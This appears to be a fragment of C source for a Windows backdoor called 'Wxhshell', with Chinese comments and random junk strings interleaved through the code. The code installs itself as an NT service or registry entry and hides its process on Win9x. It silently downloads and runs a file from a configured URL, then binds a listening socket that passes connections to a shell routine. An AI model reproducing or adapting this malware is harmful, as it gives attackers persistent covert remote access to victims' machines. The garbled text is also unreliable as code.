Rwy:.)7B$q HMODULE hMod; HE(U0<9c char procName[255]; CWDo_g$ unsigned long cbNeeded; %5z88-\ >eRbasshEI if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?$s2]}v sPZa|AKHb CloseHandle(hProcess); E RMh% C ;G\rhk if(strstr(procName,"services")) return 1; // 以服务启动 \h0e09& I A6UtpyS*' return 0; // 注册表启动 oFIs,[Go } |x kixf4zz !8A5Y[(XD // 主模块 H"&N<"hw int StartWxhshell(LPSTR lpCmdLine) &=7ur { ~O^_J) SOCKET wsl; h2BD?y BOOL val=TRUE; Bo~wD|E2 int port=0; 4< H-ol struct sockaddr_in door; [R Ch7FE23 , 1`eH[ if(wscfg.ws_autoins) Install(); P)}:lTe
UHCx}LGe port=atoi(lpCmdLine); U9k}y (sl]%RjGa if(port<=0) port=wscfg.ws_port; iu1iO;q _* `AGda WSADATA data; Y5n pz^i if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m[8#h(s*t -u9{R \S if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @\q~OyV setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <]!IC]+ door.sin_family = AF_INET; 8vP d~te door.sin_addr.s_addr = inet_addr("127.0.0.1"); Aw|3W ] door.sin_port = htons(port); '$U"RP^( ipyO&v if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .#}SK!"B closesocket(wsl); >5N}ZIN return 1; iL\\JuY } h\ybh z1:au odI@ if(listen(wsl,2) == INVALID_SOCKET) { ( Rf)&KN closesocket(wsl); %%3ugD5i! return 1; Em?skUnG, } HL!-4kN
<$ Wxhshell(wsl); x)GoxH~# WSACleanup(); #IXQ;2%E \Lc]6?,R return 0; }0!\%7-Q 8t7hN?,t } AV&ege
)3 v8 // 以NT服务方式启动 dZYS5_wr VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -+4$W{OK*0 { 0loC^\f DWORD status = 0; 6zI?K4o DWORD specificError = 0xfffffff; ?IWLl L NE]#8ue serviceStatus.dwServiceType = SERVICE_WIN32; {&4qknPd% serviceStatus.dwCurrentState = SERVICE_START_PENDING; $Z,+aLmb serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vLC&C-f serviceStatus.dwWin32ExitCode = 0; o^NQ]BdH8
serviceStatus.dwServiceSpecificExitCode = 0; {C6Yr9 serviceStatus.dwCheckPoint = 0; Xgl>kJy<# serviceStatus.dwWaitHint = 0; " DFg" fklMYu4:n hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [n^___7 if (hServiceStatusHandle==0) return; npe*A &=UzF status = GetLastError(); 2n7[Op if (status!=NO_ERROR) md2kZ.5u { }i[jJb`bY serviceStatus.dwCurrentState = SERVICE_STOPPED; %Wu8RG} serviceStatus.dwCheckPoint = 0; MdKZH\z/ serviceStatus.dwWaitHint = 0; :L?zk"0C serviceStatus.dwWin32ExitCode = status; q<UqGj7#
serviceStatus.dwServiceSpecificExitCode = specificError; S
xg Yq SetServiceStatus(hServiceStatusHandle, &serviceStatus); :V"}"{(6 return; jIW:O } duqu}*Jw Ue\& serviceStatus.dwCurrentState = SERVICE_RUNNING; E }yxF. serviceStatus.dwCheckPoint = 0; q\/|nZO4 serviceStatus.dwWaitHint = 0; t3WlVUtq3 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L\B+j+~ } Jv?e?U 4EELaP|% // 处理NT服务事件,比如:启动、停止 HW d,1 VOID WINAPI NTServiceHandler(DWORD fdwControl) D"Xm9
( { R5FjJ>JE switch(fdwControl) mB,7YZv { X >**M case SERVICE_CONTROL_STOP: '(Bs<)(H serviceStatus.dwWin32ExitCode = 0; xM*v!J, serviceStatus.dwCurrentState = SERVICE_STOPPED; HC0puLt_ serviceStatus.dwCheckPoint = 0; k~gQn:.Cx serviceStatus.dwWaitHint = 0; b6i0_fOO { -cW5v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~9n@MPS^! } GphG/C ( return; &sKYO<6K} case SERVICE_CONTROL_PAUSE: '=ZE*nGC serviceStatus.dwCurrentState = SERVICE_PAUSED; v#X? KqD break; sM4wh_lO case SERVICE_CONTROL_CONTINUE: J2R<'( serviceStatus.dwCurrentState = SERVICE_RUNNING; Ug"B/UUFd break; l5MxJ>?4%B case SERVICE_CONTROL_INTERROGATE: PFc02 w break; q@\D5F%
> }; -R8RAwsLG SetServiceStatus(hServiceStatusHandle, &serviceStatus); a[u8x mH } Zf"AqGP ooq>/OI0 // 标准应用程序主函数 8O7JuR int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) olJ9Kfc0 { EbW7Av j`
x9z_ // 获取操作系统版本 <)}*S OsIsNt=GetOsVer(); e^FS/= GetModuleFileName(NULL,ExeFile,MAX_PATH); x}roPhZ E*ic9Za8`h // 从命令行安装 9-@w(kMu if(strpbrk(lpCmdLine,"iI")) Install(); _S[H:b$? (u*]&yk // 下载执行文件 rd"]$_P8O if(wscfg.ws_downexe) { I?PKc'b if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JE j+> WinExec(wscfg.ws_filenam,SW_HIDE); J+;.t&5R } F3qi$ 3HM !9!Ns(vUM if(!OsIsNt) { (;n|>l?* // 如果时win9x,隐藏进程并且设置为注册表启动 @M,_mX HideProc(); 87HVD Di StartWxhshell(lpCmdLine); 15zL,yo }
PaZ FM else a@7we=! if(StartFromService()) +F/ '+ // 以服务方式启动 w&H
?; 1 StartServiceCtrlDispatcher(DispatchTable); ;?y?s'>t& else REt()$
7~ // 普通方式启动 p$ko=fo-*_ StartWxhshell(lpCmdLine); S:5Nh^K $+mmqc8 return 0; ~E!"YkIr }
|